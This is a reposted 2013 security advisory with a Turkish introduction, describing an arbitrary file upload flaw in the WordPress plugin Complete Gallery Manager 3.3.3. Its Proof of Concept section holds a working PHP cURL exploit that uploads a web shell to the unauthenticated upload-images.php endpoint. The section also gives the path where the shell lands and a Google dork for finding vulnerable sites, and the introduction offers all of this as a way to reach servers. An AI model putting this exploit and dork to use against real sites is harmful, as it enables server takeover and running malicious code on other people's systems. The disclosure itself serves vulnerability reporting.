WordPress Plugin Complete Gallery Manager 3.3.3 – Arbitrary File Upload açığı bulunmuş olup, açık sayesinde Shell upload edilerek servere ulaşım sağlanmakta ve zararlı kodların çalışmasına neden olunabilmektedir. Açık bulucunun açık hakkındaki değerlendirmeleri ve php exploit aşağıdaki şekilde.
Title: ====== Wordpress Plugin Complete Gallery Manager 3.3.3 - Arbitrary File Upload Vulnerability Date: ===== 2013-09-17 References: =========== http://www.vulnerability-lab.com/get_content.php?id=1080 VL-ID: ===== 1080 Common Vulnerability Scoring System: ==================================== 6.6 Introduction: ============= Using Complete Gallery Manager will make it fun and fast to manage and create galleries for your website. The plugin enables a wealth of functionality, but just because you can take advantage of its many features, doesn’t mean you necessarily should. For each feature you implement you should consider the benefit for your users. Don’t make the interface more complex than necessary. Less is more! We have made it very easy for you to customize basically anything you can imagine. The Isotype Gallery has 188 different settings you can tweak and the Touch Slider has 146 different settings. (Copy of the Vendor Homepage: http://codecanyon.net/item/complete-gallery-manager-for-wordpress/2418606 ) Abstract: ========= An independent Vulnerability Laboratory Researcher discovered a arbitrary file upload vulnerability in the WordPress Complete Gallery Manager v3.3.3 plugin. Report-Timeline: ================ 2013-09-17: Public Disclosure (Fuad Pilus) Status: ======== Published Affected Products: ================== CodeCanyon Product: Complete Gallery Manager 3.3.3 Exploitation-Technique: ======================= Remote Severity: ========= High Details: ======== A arbitrary file upload web vulnerability is detected in the CodeCanyon WordPress Plugin Complete Gallery Manager v3.3.3 Web-Application. The vulnerability allows remote attackers to upload files via POST method with multiple extensions to unauthorized access them on application-side of the service. The vulnerability is located in the /plugins/complete-gallery-manager/frames/ path when processing to upload via the upload-images.php file own malicious context or webshells. After the upload the remote attacker can access the file with one extension and exchange it with the other one to execute for example php codes. Exploitation of the vulnerability requires no user interaction and also without privilege application user account (no password standard). Successful exploitation of the vulnerability results in unauthorized path or file access via local file include or arbitrary file upload. Vulnerable Application(s): [+] CodeCanyon - Complete Gallery Manager Vulnerable Module(s): [+] Image File Upload Vulnerable File(s): [+] upload-images.php Affected Module(s): [+] Application Index Listing (http://localhost:8000/) Proof of Concept: ================= The arbitrary file upload web vulnerability can be exploited by remote attackers without user interaction or privileged application user account. For demonstration or reproduce ... Vuln page : http://wordpress.localhost:8080/wordpress/wp-content/plugins/complete-gallery-manager/frames/upload-images.php Exploit : <?php $uploadfile="up.php"; $ch = curl_init("http://wordpress.localhost:8080/wordpress/wp-content/plugins/complete-gallery-manager/frames/upload-images.php"); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, array('qqfile'=>"@$uploadfile")); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $postResult = curl_exec($ch); curl_close($ch); print "$postResult"; ?> Shell Upload Access Path : http://wordpress.localhost:8080/wp-content/2013/09/up.php Google Dork: allinurl:/wp-content/plugins/complete-gallery-manager/ Reference(s): http://xxx.com/wp-content/plugins/complete-gallery-manager/frames/upload-images.php http://www.xxx.com/wp-content/plugins/complete-gallery-manager/frames/upload-images.php http://xxx.org/wp-content/plugins/complete-gallery-manager/frames/upload-images.php Risk: ===== The security risk of the arbitrary file upload web vulnerability is estimated as high(+). Credits: ======== Independent Vulnerability Researcher - Fuad Pilus (firstname.lastname@example.org) Greetz to : Code Newbie Team - Malaysia & Indonesia BlackHat Byakuya | Cai | Lord Router | Ops Msia Bersatu | Clound | Agam | Encik Linux | X-Tuned and all official Code-Newbie Member Disclaimer: =========== either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability- Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases or trade with fraud/stolen material. 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